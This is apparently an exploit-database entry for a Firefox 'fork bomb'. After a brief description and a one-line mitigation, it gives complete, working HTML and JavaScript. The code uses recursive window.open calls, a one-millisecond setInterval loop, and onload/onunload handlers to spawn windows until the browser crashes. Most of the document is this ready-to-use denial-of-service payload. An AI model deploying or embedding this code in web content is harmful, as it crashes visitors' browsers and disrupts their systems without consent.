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Fork Bomb
788
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Platforms Tested: FireFox
2020

Dr_IDE’s FireFox Fork Bomb!

This exploit is a fork bomb which uses JavaScript to open multiple windows of the same page, causing the browser to crash. It is triggered by the onload and onunload events in the body tag.

Mitigation:

Disable JavaScript in the browser, or use a browser with a built-in JavaScript sandbox.
Source

Exploit-DB raw data:

<html>
<script>
var a = ('javascript:"<html><head><title>Dr_IDE\s FireFox Fork Bomb!</title></head><body onunload=\\"javascript:window.open(window.location);window.open(window.location)\\" onload=\\"javascript:window.open(window.location);window.open(window.location)\\"></body></html>"');
loop1();
 
function loop1()
{
    window.open(a);
    setInterval(loop1,1);
}
</script>
<body onload="javascript:loop1()"></body>
</html>